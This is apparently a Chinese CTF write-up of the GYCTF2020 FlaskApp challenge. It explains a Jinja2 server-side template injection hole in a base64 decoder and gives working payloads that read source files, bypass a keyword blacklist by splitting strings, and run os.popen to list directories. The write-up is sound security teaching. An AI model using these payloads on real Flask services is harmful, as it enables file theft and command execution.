[GYCTF2020]FlaskApp1

 一个简单的base64加密解密小程序,以及一张图片。

当在解密处输不可以解码的字符串时报错

经过查看发现源代码

@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

        res =  render_template_string(tmp)

通过源代码的框架可以判断是Flask,Flask是使用python编写的一个轻量级的web应用框架,模板引擎使用的是jinja2,遵循MVC模型。

所谓的MVC模型就是将一个软件系统分为了三个组成部M(model)模型,V(view)视图,C(controler)控制器。

在jinja2模板引擎当中存在下面几个模板,而在这些模板当中可以输入值以及一些控制语句,在jinja2引擎中有两个模板渲染函数,而SSTI注入的原因是由于render_template_string的不正确的使用以及没有对用户输入的数据进行有效的过滤导致的.

render_template
#该函数指定一个模板文件进行渲染在模板文件可以使用相应的模板格式的语法如{{}}
#进行变量的引用,这个时候的语法是写入到一个静态文件当中的已经固定了我们无法进行SSTI注入

render_template_string
#该函数是对一个字符串进行渲染同样在遇到有符合模板语法的内容时会进行解析
#如render_template_string("<h1>my name is {}".format(request.args.get('name')))
#此时的name是我们从url中获取的GET参数是用户可控的当name是一个符合模板语法格式的字符串时会
#会被进行解析执行如输入{{ 4*5 }}会进行运算输出20
#www.baidu.com/?name={{ 4*5 }}
name={{ [].__bases__ }}

可以看到源代码里

res =  render_template_string(tmp)

 有SSTI注入漏洞,可以通过渲染去测试一下。

构造{{config}},先加密,再把加密结果解密,结果输出

输出了config的内容,说明存在ssti漏洞

构造payloud读取源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

**payload解读**
 [].__class__#返回的是[]的类型list为列表
   
   list.__base__#返回list的一个父类为object是所有类的基类所有类都是继承自object
   
   object.__subclasses__()#返回object的所有子类所有继承自object的类
   
   #循环遍历这些类寻找catch_warnings这个类进入该类
   
   c.__init__#表示c类中的init这个内置方法
   
   __init__.__globals__['__builtins__']#返回init这个方法可以使用的类、方法、以及属性当中的__builtins__
   
   __builtins__#表示内建方法因为这里所使用的open是一个内建方法利用open打开源码调用read读取

得到源码,分析一下

  from flask import Flask,render_template_string 
  from flask import render_template,request,flash,redirect,url_for 
  from flask_wtf import FlaskForm 
  from wtforms import StringField, SubmitField 
  from wtforms.validators import DataRequired 
  from flask_bootstrap import Bootstrap 
  import base64 
  app = Flask(__name__) 
  app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'#可以利用进行session伪造但是此处没有用处 
  bootstrap = Bootstrap(app) 
  
  class NameForm(FlaskForm): 
  	text = StringField('BASE64加密',validators= [DataRequired()]) 
  	submit = SubmitField("提交") 
  
  class NameForm1(FlaskForm): 
  	text = StringField('BASE64解密',validators= [DataRequired()]) 
  	submit = SubmitField('提交') 
  
  def waf(str): 
  	black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
  	for x in black_list : 
  		if x in str.lower() : 
  			return 1 
  
  @app.route('/hint',methods=['GET']) 
  	def hint(): 
  		txt = "失败乃成功之母!!" 
  		return render_template("hint.html",txt = txt) 
  
  @app.route('/',methods=['POST','GET']) 
  	def encode(): 
  		if request.values.get('text') : 
  			text = request.values.get("text") 
  			text_decode = base64.b64encode(text.encode()) 
  			tmp = "结果 :{0}".format(str(text_decode.decode())) 
  			res = render_template_string(tmp) 
  			flash(tmp) 
  			return redirect(url_for('encode')) 
  		else : 
  			text = "" 
  			form = NameForm(text) 
  			return render_template("index.html",form = form ,method = "加密"
  														 ,img = "flask.png") 
  
  @app.route('/decode',methods=['POST','GET']) 
  	def decode(): 
  		if request.values.get('text') : 
  			text = request.values.get("text") 
  			text_decode = base64.b64decode(text.encode()) 
  			tmp = "结果 : {0}".format(text_decode.decode()) 
  			if waf(tmp) : 
  				flash("no no no !!") 
  				return redirect(url_for('decode')) 
  			res = render_template_string(tmp) 
  			flash( res ) 
  			return redirect(url_for('decode')) 
  		else : 
  			text = "" 
  			form = NameForm1(text) 
  			return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/&lt;name&gt;',methods=['GET']) 
  	def not_found(name): 
  		return render_template("404.html",name = name) 
  
  if __name__ == '__main__': 
  	app.run(host="0.0.0.0", port=5000, debug=True)#监听主机的所有ip的5000端口
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 

从这里可以看到过滤了flag,os,system等操作命令

可以利用字符串拼接绕过,构造:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

可以看到返回有this_is_the_flag.txt,然后对其进行读取,构造

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

得到flag

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值